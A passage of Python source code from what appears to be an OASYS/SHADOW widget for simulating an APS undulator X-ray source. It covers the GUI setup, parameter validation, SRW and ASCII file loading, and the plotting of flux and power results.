oasysgui.lineEdit(tab_id, self, "longitudinal_central_position", "Longitudinal Central Position [m]", labelWidth=260, valueType=float, orientation="horizontal", callback=self.show_warning)
self.warning_label = oasysgui.widgetLabel(tab_id, " Warning: The source will be positioned at the center\n" +
" of the ID: the relative distance of the first optical\n" +
" element has to be longitudinally shifted accordingly")
self.warning_label.setStyleSheet("color: red; font: bold")
self.show_warning()
gui.separator(tab_id, height=10)
gui.comboBox(tab_id, self, "magnetic_field_from", label="Magnetic Field", labelWidth=350,
items=["From K", "From B"],
callback=self.set_MagneticField,
sendSelectedValue=False, orientation="horizontal")
container = oasysgui.widgetBox(tab_id, "", addSpace=False, orientation="horizontal")
horizontal_box = oasysgui.widgetBox(container, "", addSpace=False, orientation="vertical", width=205)
vertical_box = oasysgui.widgetBox(container, "", addSpace=False, orientation="vertical", width=155)
gui.label(horizontal_box, self, " Horizontal")
gui.label(vertical_box, self, " Vertical")
self.magnetic_field_box_1_h = oasysgui.widgetBox(horizontal_box, "", addSpace=False, orientation="vertical")
self.magnetic_field_box_2_h = oasysgui.widgetBox(horizontal_box, "", addSpace=False, orientation="vertical")
self.magnetic_field_box_1_v = oasysgui.widgetBox(vertical_box, "", addSpace=False, orientation="vertical")
self.magnetic_field_box_2_v = oasysgui.widgetBox(vertical_box, "", addSpace=False, orientation="vertical")
oasysgui.lineEdit(self.magnetic_field_box_1_h, self, "Kh", "K", labelWidth=70, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
oasysgui.lineEdit(self.magnetic_field_box_1_v, self, "Kv", " ", labelWidth=2, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
oasysgui.lineEdit(self.magnetic_field_box_2_h, self, "Bh", "B [T]", labelWidth=70, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
oasysgui.lineEdit(self.magnetic_field_box_2_v, self, "Bv", " ", labelWidth=2, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
self.set_MagneticField()
oasysgui.lineEdit(horizontal_box, self, "initial_phase_horizontal", "\u03c6\u2080 [rad]", labelWidth=70, valueType=float, orientation="horizontal")
oasysgui.lineEdit(vertical_box, self, "initial_phase_vertical", " ", labelWidth=2, valueType=float, orientation="horizontal")
gui.comboBox(horizontal_box, self, "symmetry_vs_longitudinal_position_horizontal", label="Symmetry", labelWidth=70,
items=["Symmetrical", "Anti-Symmetrical"],
sendSelectedValue=False, orientation="horizontal")
symmetry_v_box = oasysgui.widgetBox(vertical_box, "", addSpace=False, orientation="horizontal")
gui.comboBox(symmetry_v_box, self, "symmetry_vs_longitudinal_position_vertical", label=" ", labelWidth=2,
items=["Symmetrical", "Anti-Symmetrical"],
sendSelectedValue=False, orientation="horizontal")
#gui.button(symmetry_v_box, self, "?", callback=self.open_help, width=12)
oasysgui.lineEdit(tab_mach, self, "electron_energy_in_GeV", "Energy [GeV]", labelWidth=260, valueType=float, orientation="horizontal", callback=self.set_harmonic_energy)
oasysgui.lineEdit(tab_mach, self, "electron_energy_spread", "Energy Spread", labelWidth=260, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_mach, self, "ring_current", "Ring Current [A]", labelWidth=260, valueType=float, orientation="horizontal")
gui.separator(tab_mach)
oasysgui.lineEdit(tab_mach, self, "electron_beam_size_h", "Horizontal Beam Size [m]", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_mach, self, "electron_beam_size_v", "Vertical Beam Size [m]", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_mach, self, "electron_beam_divergence_h", "Horizontal Beam Divergence [rad]", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(tab_mach, self, "electron_beam_divergence_v", "Vertical Beam Divergence [rad]", labelWidth=230, valueType=float, orientation="horizontal")
gui.comboBox(tab_traj, self, "type_of_initialization", label="Trajectory Initialization", labelWidth=140,
items=["Automatic", "At Fixed Position", "Sampled from Phase Space"],
callback=self.set_TypeOfInitialization,
sendSelectedValue=False, orientation="horizontal")
self.left_box_3_1 = oasysgui.widgetBox(tab_traj, "", addSpace=False, orientation="vertical", height=160)
self.left_box_3_2 = oasysgui.widgetBox(tab_traj, "", addSpace=False, orientation="vertical", height=160)
oasysgui.lineEdit(self.left_box_3_1, self, "moment_x", "x\u2080 [m]", labelWidth=200, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.left_box_3_1, self, "moment_y", "y\u2080 [m]", labelWidth=200, valueType=float, orientation="horizontal")
box = oasysgui.widgetBox(self.left_box_3_1, "", addSpace=False, orientation="horizontal")
oasysgui.lineEdit(box, self, "moment_z", "z\u2080 [m]", labelWidth=160, valueType=float, orientation="horizontal")
gui.button(box, self, "Auto", width=35, callback=self.set_z0Default)
oasysgui.lineEdit(self.left_box_3_1, self, "moment_xp", "x'\u2080 [rad]", labelWidth=200, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.left_box_3_1, self, "moment_yp", "y'\u2080 [rad]", labelWidth=200, valueType=float, orientation="horizontal")
self.set_TypeOfInitialization()
left_box_3 = oasysgui.widgetBox(tab_wf, "Divergence Distribution Propagation Parameters", addSpace=False, orientation="vertical")
oasysgui.lineEdit(left_box_3, self, "source_dimension_wf_h_slit_gap", "H Slit Gap [m]", labelWidth=250, valueType=float, orientation="horizontal", callback=self.setDataX)
oasysgui.lineEdit(left_box_3, self, "source_dimension_wf_v_slit_gap", "V Slit Gap [m]", labelWidth=250, valueType=float, orientation="horizontal", callback=self.setDataY)
oasysgui.lineEdit(left_box_3, self, "source_dimension_wf_h_slit_points", "H Slit Points", labelWidth=250, valueType=int, orientation="horizontal", callback=self.setDataX)
oasysgui.lineEdit(left_box_3, self, "source_dimension_wf_v_slit_points", "V Slit Points", labelWidth=250, valueType=int, orientation="horizontal", callback=self.setDataY)
oasysgui.lineEdit(left_box_3, self, "source_dimension_wf_distance", "Propagation Distance [m]\n(relative to the center of the ID)", labelWidth=250, valueType=float, orientation="horizontal")
left_box_4 = oasysgui.widgetBox(tab_wf, "Size Distribution (Back) Propagation Parameters", addSpace=False, orientation="vertical")
oasysgui.lineEdit(left_box_4, self, "horizontal_range_modification_factor_at_resizing", "H range modification factor at resizing", labelWidth=290, valueType=float, orientation="horizontal")
oasysgui.lineEdit(left_box_4, self, "horizontal_resolution_modification_factor_at_resizing", "H resolution modification factor at resizing", labelWidth=290, valueType=float, orientation="horizontal")
oasysgui.lineEdit(left_box_4, self, "vertical_range_modification_factor_at_resizing", "V range modification factor at resizing", labelWidth=290, valueType=float, orientation="horizontal")
oasysgui.lineEdit(left_box_4, self, "vertical_resolution_modification_factor_at_resizing", "V resolution modification factor at resizing", labelWidth=290, valueType=float, orientation="horizontal")
gui.comboBox(tab_wf, self, "auto_expand", label="Auto Expand Slit to Compensate Random Generator", labelWidth=310,
items=["No", "Yes"], orientation="horizontal", callback=self.set_auto_expand)
self.cb_auto_expand_rays = gui.comboBox(tab_wf, self, "auto_expand_rays", label="Auto Increase Number of Rays", labelWidth=310,
items=["No", "Yes"], orientation="horizontal")
self.set_auto_expand()
####################################################################################
# SRW FILES
gui.separator(self.srw_files_box)
file_box = oasysgui.widgetBox(self.srw_files_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_source_dimension_srw_file = oasysgui.lineEdit(file_box, self, "source_dimension_srw_file", "Source Dimension File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectSourceDimensionFile)
file_box = oasysgui.widgetBox(self.srw_files_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_angular_distribution_srw_file = oasysgui.lineEdit(file_box, self, "angular_distribution_srw_file", "Angular Distribution File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectAngularDistributionFile)
####################################################################################
# ASCII FILES
gui.separator(self.ascii_box)
file_box = oasysgui.widgetBox(self.ascii_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_x_positions_file = oasysgui.lineEdit(file_box, self, "x_positions_file", "X Positions File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectXPositionsFile)
file_box = oasysgui.widgetBox(self.ascii_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_z_positions_file = oasysgui.lineEdit(file_box, self, "z_positions_file", "Z Positions File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectZPositionsFile)
file_box = oasysgui.widgetBox(self.ascii_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_x_divergences_file = oasysgui.lineEdit(file_box, self, "x_divergences_file", "X Divergences File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectXDivergencesFile)
file_box = oasysgui.widgetBox(self.ascii_box, "", addSpace=True, orientation="horizontal", height=45)
self.le_z_divergences_file = oasysgui.lineEdit(file_box, self, "z_divergences_file", "Z Divergences File", labelWidth=180, valueType=str, orientation="vertical")
gui.button(file_box, self, "...", height=45, callback=self.selectZDivergencesFile)
gui.separator(self.ascii_box)
oasysgui.lineEdit(self.ascii_box, self, "x_positions_factor", "X Positions UM to Workspace UM", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.ascii_box, self, "z_positions_factor", "Z Positions UM to Workspace UM", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.ascii_box, self, "x_divergences_factor", "X Divergences UM to rad", labelWidth=230, valueType=float, orientation="horizontal")
oasysgui.lineEdit(self.ascii_box, self, "z_divergences_factor", "X Divergences UM to rad", labelWidth=230, valueType=float, orientation="horizontal")
gui.separator(self.ascii_box)
gui.comboBox(self.ascii_box, self, "combine_strategy", label="2D Distribution Creation Strategy", labelWidth=310,
items=["Sqrt(Product)", "Sqrt(Quadratic Sum)", "Convolution", "Average"], orientation="horizontal", callback=self.set_SaveFileSRW)
####################################################################################
# Utility
left_box_1 = oasysgui.widgetBox(tab_util, "Auto Setting of Undulator", addSpace=False, orientation="vertical")
oasysgui.lineEdit(left_box_1, self, "auto_energy", "Set Undulator at Energy [eV]", labelWidth=250, valueType=float, orientation="horizontal")
oasysgui.lineEdit(left_box_1, self, "auto_harmonic_number", "As Harmonic #", labelWidth=250, valueType=int, orientation="horizontal")
button_box = oasysgui.widgetBox(left_box_1, "", addSpace=False, orientation="horizontal")
gui.button(button_box, self, "Set Kv value", callback=self.auto_set_undulator_V)
gui.button(button_box, self, "Set Kh value", callback=self.auto_set_undulator_H)
gui.button(button_box, self, "Set Both K values", callback=self.auto_set_undulator_B)
gui.rubber(self.controlArea)
cumulated_plot_tab = oasysgui.createTabPage(self.main_tabs, "Cumulated_Plots")
view_box = oasysgui.widgetBox(cumulated_plot_tab, "Plotting Style", addSpace=False, orientation="horizontal")
view_box_1 = oasysgui.widgetBox(view_box, "", addSpace=False, orientation="vertical", width=350)
self.cumulated_view_type_combo = gui.comboBox(view_box_1, self, "cumulated_view_type", label="Show Plots",
labelWidth=220,
items=["No", "Yes"],
callback=self.set_CumulatedPlotQuality, sendSelectedValue=False, orientation="horizontal")
self.cumulated_tabs = oasysgui.tabWidget(cumulated_plot_tab)
self.initializeCumulatedTabs()
gui.rubber(self.mainArea)
def initializeCumulatedTabs(self):
current_tab = self.cumulated_tabs.currentIndex()
self.cumulated_tabs.removeTab(2)
self.cumulated_tabs.removeTab(1)
self.cumulated_tabs.removeTab(0)
self.cumulated_plot_canvas = [None]*3
self.cumulated_tab = []
self.cumulated_tab.append(oasysgui.createTabPage(self.cumulated_tabs, "Spectral Flux"))
self.cumulated_tab.append(oasysgui.createTabPage(self.cumulated_tabs, "Cumulated Power"))
self.cumulated_tab.append(oasysgui.createTabPage(self.cumulated_tabs, "Power Density"))
for tab in self.cumulated_tab:
tab.setFixedHeight(self.IMAGE_HEIGHT)
tab.setFixedWidth(self.IMAGE_WIDTH)
self.cumulated_tabs.setCurrentIndex(current_tab)
def set_CumulatedPlotQuality(self):
if not self.cumulated_power is None:
self.initializeCumulatedTabs()
self.plot_cumulated_results(True)
def set_auto_expand(self):
self.cb_auto_expand_rays.setEnabled(self.auto_expand==1)
self.setDataXY()
def setDataXY(self):
self.setDataX()
self.setDataY()
def setDataX(self):
source_dimension_wf_h_slit_points, \
source_dimension_wf_h_slit_gap = self.get_source_slit_data(direction="h")
x2 = 0.5 * source_dimension_wf_h_slit_gap
x1 = -x2
self.dataX = 1e3 * numpy.linspace(x1, x2, source_dimension_wf_h_slit_points)
def setDataY(self):
source_dimension_wf_v_slit_points, \
source_dimension_wf_v_slit_gap = self.get_source_slit_data(direction="v")
y2 = 0.5 * source_dimension_wf_v_slit_gap
y1 = -y2
self.dataY = 1e3*numpy.linspace(y1, y2, source_dimension_wf_v_slit_points)
def onReceivingInput(self):
super(APSUndulator, self).onReceivingInput()
self.initializeCumulatedTabs()
####################################################################################
# GRAPHICS
####################################################################################
def after_change_workspace_units(self):
pass
def show_warning(self):
self.warning_label.setVisible(self.longitudinal_central_position != 0.0)
def set_TypeOfInitialization(self):
self.left_box_3_1.setVisible(self.type_of_initialization==1)
self.left_box_3_2.setVisible(self.type_of_initialization!=1)
def set_z0Default(self):
self.moment_z = self.get_default_initial_z()
def get_default_initial_z(self):
return self.longitudinal_central_position-0.5*self.undulator_period*(self.number_of_periods + 8) # initial Longitudinal Coordinate (set before the ID)
def auto_set_undulator_V(self):
self.auto_set_undulator(VERTICAL)
def auto_set_undulator_H(self):
self.auto_set_undulator(HORIZONTAL)
def auto_set_undulator_B(self):
self.auto_set_undulator(BOTH)
def auto_set_undulator(self, which=VERTICAL):
if not self.distribution_source == 0: raise Exception("This calculation can be performed only for explicit SRW Calculation")
congruence.checkStrictlyPositiveNumber(self.auto_energy, "Set Undulator at Energy")
congruence.checkStrictlyPositiveNumber(self.auto_harmonic_number, "As Harmonic #")
congruence.checkStrictlyPositiveNumber(self.electron_energy_in_GeV, "Energy")
congruence.checkStrictlyPositiveNumber(self.undulator_period, "Period Length")
wavelength = self.auto_harmonic_number*m2ev/self.auto_energy
K = round(numpy.sqrt(2*(((wavelength*2*self.gamma()**2)/self.undulator_period)-1)), 6)
if which == VERTICAL:
self.Kv = K
self.Kh = 0.0
if which == BOTH:
Kboth = round(K / numpy.sqrt(2), 6)
self.Kv = Kboth
self.Kh = Kboth
if which == HORIZONTAL:
self.Kh = K
self.Kv = 0.0
self.set_WFUseHarmonic()
class ShowHelpDialog(QDialog):
def __init__(self, parent=None):
QDialog.__init__(self, parent)
self.setWindowTitle('Symmetry vs Longitudinal Position')
layout = QVBoxLayout(self)
label = QLabel("")
file = os.path.join(resources.package_dirname("orangecontrib.aps.shadow.widgets.extensions"), "misc", "symmetry.png")
label.setPixmap(QPixmap(file))
bbox = QDialogButtonBox(QDialogButtonBox.Ok)
bbox.accepted.connect(self.accept)
layout.addWidget(label)
layout.addWidget(bbox)
def open_help(self):
dialog = APSUndulator.ShowHelpDialog(parent=self)
dialog.show()
def set_MagneticField(self):
self.magnetic_field_box_1_h.setVisible(self.magnetic_field_from==0)
self.magnetic_field_box_2_h.setVisible(self.magnetic_field_from==1)
self.magnetic_field_box_1_v.setVisible(self.magnetic_field_from==0)
self.magnetic_field_box_2_v.setVisible(self.magnetic_field_from==1)
self.set_harmonic_energy()
def set_harmonic_energy(self):
if self.distribution_source==0 and self.use_harmonic==0:
self.harmonic_energy = round(self.resonance_energy(harmonic=self.harmonic_number), 2)
else:
self.harmonic_energy = numpy.nan
def get_write_file_options(self):
write_begin_file = 0
write_start_file = 0
write_end_file = 0
if self.file_to_write_out == 1:
write_begin_file = 1
if self.file_to_write_out == 2:
write_begin_file = 1
if sys.platform == 'linux':
QtWidgets.QMessageBox.warning(self, "Warning", "Debug Mode is not yet available for sources in Linux platforms", QtWidgets.QMessageBox.Ok)
else:
write_start_file = 1
write_end_file = 1
return write_begin_file, write_start_file, write_end_file
def set_WFUseHarmonic(self):
self.use_harmonic_box_1.setVisible(self.use_harmonic==0)
self.use_harmonic_box_2.setVisible(self.use_harmonic==1)
self.set_harmonic_energy()
def set_DistributionSource(self):
self.srw_box.setVisible(self.distribution_source == 0)
self.srw_files_box.setVisible(self.distribution_source == 1)
self.ascii_box.setVisible(self.distribution_source == 2)
self.set_harmonic_energy()
def set_Polarization(self):
self.ewp_box_8.setVisible(self.polarization==1)
def set_OptimizeSource(self):
self.optimize_file_name_box.setVisible(self.optimize_source != 0)
def set_SaveFileSRW(self):
self.save_file_box.setVisible(self.save_srw_result == 1)
self.save_file_box_empty.setVisible(self.save_srw_result == 0)
def selectOptimizeFile(self):
self.le_optimize_file_name.setText(oasysgui.selectFileFromDialog(self, self.optimize_file_name, "Open Optimize Source Parameters File"))
def selectSourceDimensionFile(self):
self.le_source_dimension_srw_file.setText(oasysgui.selectFileFromDialog(self, self.source_dimension_srw_file, "Open Source Dimension File"))
def selectAngularDistributionFile(self):
self.le_angular_distribution_srw_file.setText(oasysgui.selectFileFromDialog(self, self.angular_distribution_srw_file, "Open Angular Distribution File"))
def selectXPositionsFile(self):
self.le_x_positions_file.setText(oasysgui.selectFileFromDialog(self, self.x_positions_file, "Open X Positions File", file_extension_filter="*.dat, *.txt"))
def selectZPositionsFile(self):
self.le_z_positions_file.setText(oasysgui.selectFileFromDialog(self, self.z_positions_file, "Open Z Positions File", file_extension_filter="*.dat, *.txt"))
def selectXDivergencesFile(self):
self.le_x_divergences_file.setText(oasysgui.selectFileFromDialog(self, self.x_divergences_file, "Open X Divergences File", file_extension_filter="*.dat, *.txt"))
def selectZDivergencesFile(self):
self.le_z_divergences_file.setText(oasysgui.selectFileFromDialog(self, self.z_divergences_file, "Open Z Divergences File", file_extension_filter="*.dat, *.txt"))
####################################################################################
# SYNED
####################################################################################
def receive_syned_data(self, data):
if not data is None:
try:
if data.get_beamline_elements_number() > 0:
slit_element = data.get_beamline_element_at(0)
slit = slit_element.get_optical_element()
coordinates = slit_element.get_coordinates()
if isinstance(slit, Slit) and isinstance(slit.get_boundary_shape(), Rectangle):
rectangle = slit.get_boundary_shape()
self.source_dimension_wf_h_slit_gap = rectangle._x_right - rectangle._x_left
self.source_dimension_wf_v_slit_gap = rectangle._y_top - rectangle._y_bottom
self.source_dimension_wf_distance = coordinates.p()
elif not data._light_source is None and isinstance(data._light_source, LightSource):
light_source = data._light_source
self.electron_energy_in_GeV = light_source._electron_beam._energy_in_GeV
self.electron_energy_spread = light_source._electron_beam._energy_spread
self.ring_current = light_source._electron_beam._current
x, xp, y, yp = light_source._electron_beam.get_sigmas_all()
self.electron_beam_size_h = round(x, 9)
self.electron_beam_size_v = round(y, 9)
self.electron_beam_divergence_h = round(xp, 10)
self.electron_beam_divergence_v = round(yp, 10)
self.Kh = light_source._magnetic_structure._K_horizontal
self.Kv = light_source._magnetic_structure._K_vertical
self.undulator_period = light_source._magnetic_structure._period_length
self.number_of_periods = light_source._magnetic_structure._number_of_periods
else:
raise ValueError("Syned data not correct")
except Exception as exception:
QtWidgets.QMessageBox.critical(self, "Error", str(exception), QtWidgets.QMessageBox.Ok)
def receive_specific_syned_data(self, data):
raise NotImplementedError()
####################################################################################
# PROCEDURES
####################################################################################
def runShadowSource(self, do_cumulated_calculations=False):
self.setStatusMessage("")
self.progressBarInit()
self.integrated_flux = None
sys.stdout = EmittingStream(textWritten=self.writeStdOut)
try:
self.checkFields()
###########################################
# TODO: TO BE ADDED JUST IN CASE OF BROKEN
# ENVIRONMENT: MUST BE FOUND A PROPER WAY
# TO TEST SHADOW
self.fixWeirdShadowBug()
###########################################
shadow_src = ShadowSource.create_src()
self.populateFields(shadow_src)
self.progressBarSet(10)
self.setStatusMessage("Running SHADOW")
write_begin_file, write_start_file, write_end_file = self.get_write_file_options()
beam_out = ShadowBeam.traceFromSource(shadow_src,
write_begin_file=write_begin_file,
write_start_file=write_start_file,
write_end_file=write_end_file)
self.fix_Intensity(beam_out)
self.progressBarSet(20)
if self.distribution_source == 0:
self.setStatusMessage("Running SRW")
x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution, total_power = self.runSRWCalculation(do_cumulated_calculations)
elif self.distribution_source == 1:
self.setStatusMessage("Loading SRW files")
x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution = self.loadSRWFiles()
elif self.distribution_source == 2: # ASCII FILES
self.setStatusMessage("Loading Ascii files")
x, z, intensity_source_dimension, x_first, z_first, intensity_angular_distribution = self.loadASCIIFiles()
beam_out.set_initial_flux(self.integrated_flux)
self.progressBarSet(50)
self.setStatusMessage("Applying new Spatial/Angular Distribution")
self.progressBarSet(60)
self.generate_user_defined_distribution_from_srw(beam_out=beam_out,
coord_x=x,
coord_z=z,
intensity=intensity_source_dimension,
distribution_type=Distribution.POSITION,
kind_of_sampler=self.kind_of_sampler,
seed=0 if self.seed==0 else self.seed+1)
self.progressBarSet(70)
self.generate_user_defined_distribution_from_srw(beam_out=beam_out,
coord_x=x_first,
coord_z=z_first,
intensity=intensity_angular_distribution,
distribution_type=Distribution.DIVERGENCE,
kind_of_sampler=self.kind_of_sampler,
seed=0 if self.seed==0 else self.seed+2)
self.setStatusMessage("Plotting Results")
self.progressBarSet(80)
self.plot_results(beam_out)
self.plot_cumulated_results(do_cumulated_calculations)
self.setStatusMessage("")
if self.compute_power and self.energy_step and total_power:
additional_parameters = {}
additional_parameters["total_power"] = total_power
additional_parameters["photon_energy_step"] = self.energy_step
beam_out.setScanningData(ShadowBeam.ScanningData("photon_energy", self.energy, "Energy for Power Calculation", "eV", additional_parameters))
self.send("Beam", beam_out)
except Exception as exception:
QtWidgets.QMessageBox.critical(self, "Error", str(exception), QtWidgets.QMessageBox.Ok)
if self.IS_DEVELOP: raise exception
self.progressBarFinished()
def sendNewBeam(self, trigger):
self.compute_power = False
self.energy_step = None
if trigger and trigger.new_object == True:
do_cumulated_calculations = False
if trigger.has_additional_parameter("seed_increment"):
self.seed += trigger.get_additional_parameter("seed_increment")
if not trigger.has_additional_parameter("start_event"):
self.cumulated_energies = None
self.cumulated_integrated_flux = None
self.cumulated_power_density = None
self.cumulated_power = None
if trigger.has_additional_parameter("energy_value") and trigger.has_additional_parameter("energy_step"):
self.compute_power = True
self.use_harmonic = 1
self.distribution_source = 0
self.save_srw_result = 0
do_cumulated_calculations = True
if trigger.has_additional_parameter("start_event") and trigger.get_additional_parameter("start_event") == True:
self.cumulated_energies = None
self.cumulated_integrated_flux = None
self.cumulated_power_density = None
self.cumulated_power = None
self.energy = trigger.get_additional_parameter("energy_value")
self.energy_step = trigger.get_additional_parameter("energy_step")
self.power_step = trigger.get_additional_parameter("power_step")
self.start_event = trigger.get_additional_parameter("start_event")
self.set_WFUseHarmonic()
self.set_DistributionSource()
self.set_SaveFileSRW()
self.runShadowSource(do_cumulated_calculations)
def checkFields(self):
self.number_of_rays = congruence.checkPositiveNumber(self.number_of_rays, "Number of rays")
self.seed = congruence.checkPositiveNumber(self.seed, "Seed")
if self.use_harmonic == 0:
if self.distribution_source != 0: raise Exception("Harmonic Energy can be computed only for explicit SRW Calculation")
self.harmonic_number = congruence.checkStrictlyPositiveNumber(self.harmonic_number, "Harmonic Number")
else:
self.energy = congruence.checkPositiveNumber(self.energy, "Photon Energy")
if self.optimize_source > 0:
self.max_number_of_rejected_rays = congruence.checkPositiveNumber(self.max_number_of_rejected_rays,
"Max number of rejected rays")
congruence.checkFile(self.optimize_file_name)
def populateFields(self, shadow_src):
shadow_src.src.NPOINT = self.number_of_rays if self.auto_expand==0 else (self.number_of_rays if self.auto_expand_rays==0 else int(numpy.ceil(self.number_of_rays*1.1)))
shadow_src.src.ISTAR1 = self.seed
shadow_src.src.F_OPD = 1
shadow_src.src.F_SR_TYPE = 0
shadow_src.src.FGRID = 0
shadow_src.src.IDO_VX = 0
shadow_src.src.IDO_VZ = 0
shadow_src.src.IDO_X_S = 0
shadow_src.src.IDO_Y_S = 0
shadow_src.src.IDO_Z_S = 0
shadow_src.src.FSOUR = 0 # spatial_type (point)
shadow_src.src.FDISTR = 1 # angular_distribution (flat)
shadow_src.src.HDIV1 = -1.0e-6
shadow_src.src.HDIV2 = 1.0e-6
shadow_src.src.VDIV1 = -1.0e-6
shadow_src.src.VDIV2 = 1.0e-6
shadow_src.src.FSOURCE_DEPTH = 1 # OFF
shadow_src.src.F_COLOR = 1 # single value
shadow_src.src.F_PHOT = 0 # eV , 1 Angstrom
shadow_src.src.PH1 = self.energy if self.use_harmonic==1 else self.resonance_energy(harmonic=self.harmonic_number)
shadow_src.src.F_POLAR = self.polarization
if self.polarization == 1:
shadow_src.src.F_COHER = self.coherent_beam
shadow_src.src.POL_ANGLE = self.phase_diff
shadow_src.src.POL_DEG = self.polarization_degree
shadow_src.src.F_OPD = 1
shadow_src.src.F_BOUND_SOUR = self.optimize_source
if self.optimize_source > 0:
shadow_src.src.FILE_BOUND = bytes(congruence.checkFileName(self.optimize_file_name), 'utf-8')
shadow_src.src.NTOTALPOINT = self.max_number_of_rejected_rays
# WEIRD MEMORY INITIALIZATION BY FORTRAN. JUST A FIX.
def fix_Intensity(self, beam_out):
if self.polarization == 0:
for index in range(0, len(beam_out._beam.rays)):
beam_out._beam.rays[index, 15] = 0
beam_out._beam.rays[index, 16] = 0
beam_out._beam.rays[index, 17] = 0
def cumulated_plot_data1D(self, dataX, dataY, plot_canvas_index, title="", xtitle="", ytitle=""):
if self.cumulated_plot_canvas[plot_canvas_index] is None:
self.cumulated_plot_canvas[plot_canvas_index] = oasysgui.plotWindow()
self.cumulated_tab[plot_canvas_index].layout().addWidget(self.cumulated_plot_canvas[plot_canvas_index])
self.cumulated_plot_canvas[plot_canvas_index].addCurve(dataX, dataY,)
self.cumulated_plot_canvas[plot_canvas_index].resetZoom()
self.cumulated_plot_canvas[plot_canvas_index].setXAxisAutoScale(True)
self.cumulated_plot_canvas[plot_canvas_index].setYAxisAutoScale(True)
self.cumulated_plot_canvas[plot_canvas_index].setGraphGrid(False)
self.cumulated_plot_canvas[plot_canvas_index].setXAxisLogarithmic(False)
self.cumulated_plot_canvas[plot_canvas_index].setYAxisLogarithmic(False)
self.cumulated_plot_canvas[plot_canvas_index].setGraphXLabel(xtitle)
self.cumulated_plot_canvas[plot_canvas_index].setGraphYLabel(ytitle)
self.cumulated_plot_canvas[plot_canvas_index].setGraphTitle(title)
def cumulated_plot_data2D(self, data2D, dataX, dataY, plot_canvas_index, title="", xtitle="", ytitle=""):
if self.cumulated_plot_canvas[plot_canvas_index] is None:
self.cumulated_plot_canvas[plot_canvas_index] = Plot2D()
self.cumulated_tab[plot_canvas_index].layout().addWidget(self.cumulated_plot_canvas[plot_canvas_index])
origin = (dataX[0],dataY[0])
scale = (dataX[1]-dataX[0], dataY[1]-dataY[0])
data_to_plot = data2D.T
colormap = {"name":"temperature", "normalization":"linear", "autoscale":True, "vmin":0, "vmax":0, "colors":256}
self.cumulated_plot_canvas[plot_canvas_index].resetZoom()
self.cumulated_plot_canvas[plot_canvas_index].setXAxisAutoScale(True)
self.cumulated_plot_canvas[plot_canvas_index].setYAxisAutoScale(True)
self.cumulated_plot_canvas[plot_canvas_index].setGraphGrid(False)
self.cumulated_plot_canvas[plot_canvas_index].setKeepDataAspectRatio(True)
self.cumulated_plot_canvas[plot_canvas_index].yAxisInvertedAction.setVisible(False)
self.cumulated_plot_canvas[plot_canvas_index].setXAxisLogarithmic(False)
self.cumulated_plot_canvas[plot_canvas_index].setYAxisLogarithmic(False)
self.cumulated_plot_canvas[plot_canvas_index].getMaskAction().setVisible(False)
self.cumulated_plot_canvas[plot_canvas_index].getRoiAction().setVisible(False)
self.cumulated_plot_canvas[plot_canvas_index].getColormapAction().setVisible(False)
self.cumulated_plot_canvas[plot_canvas_index].setKeepDataAspectRatio(False)
self.cumulated_plot_canvas[plot_canvas_index].addImage(numpy.array(data_to_plot),
legend="zio billy",
scale=scale,
origin=origin,
colormap=colormap,
replace=True)
self.cumulated_plot_canvas[plot_canvas_index].setActiveImage("zio billy")
self.cumulated_plot_canvas[plot_canvas_index].setGraphXLabel(xtitle)
self.cumulated_plot_canvas[plot_canvas_index].setGraphYLabel(ytitle)
self.cumulated_plot_canvas[plot_canvas_index].setGraphTitle(title)
def plot_cumulated_results(self, do_cumulated_calculations):
if not self.cumulated_view_type == 0 and do_cumulated_calculations==True:
try:
self.cumulated_view_type_combo.setEnabled(False)
total_power = str(round(self.cumulated_power[-1], 2))
self.cumulated_plot_data1D(self.cumulated_energies, self.cumulated_integrated_flux, 0, "Spectral Flux", "Energy [eV]", "Flux [ph/s/0.1%BW]")
self.cumulated_plot_data1D(self.cumulated_energies, self.cumulated_power, 1,
"Cumulated Power (Total = " + total_power + " W)", "Energy [eV]", "Power [W]")
self.cumulated_plot_data2D(self.cumulated_power_density, self.dataX, self.dataY, 2,
"Power Density [W/mm^2] (Total Power = " + total_power + " W)", "X [mm]", "Y [mm]")
self.cumulated_view_type_combo.setEnabled(True)
except Exception as e:
self.cumulated_view_type_combo.setEnabled(True)
raise Exception("Data not plottable: exception: " + str(e))
####################################################################################
# SRW CALCULATION
####################################################################################
def checkSRWFields(self):
congruence.checkPositiveNumber(self.Kh, "Horizontal K")
congruence.checkPositiveNumber(self.Kv, "Vertical K")
congruence.checkStrictlyPositiveNumber(self.undulator_period, "Period Length")
congruence.checkStrictlyPositiveNumber(self.number_of_periods, "Number of Periods")
congruence.checkStrictlyPositiveNumber(self.electron_energy_in_GeV, "Energy")
congruence.checkPositiveNumber(self.electron_energy_spread, "Energy Spread")
congruence.checkStrictlyPositiveNumber(self.ring_current, "Ring Current")
congruence.checkPositiveNumber(self.electron_beam_size_h , "Horizontal Beam Size")
congruence.checkPositiveNumber(self.electron_beam_divergence_h , "Vertical Beam Size")
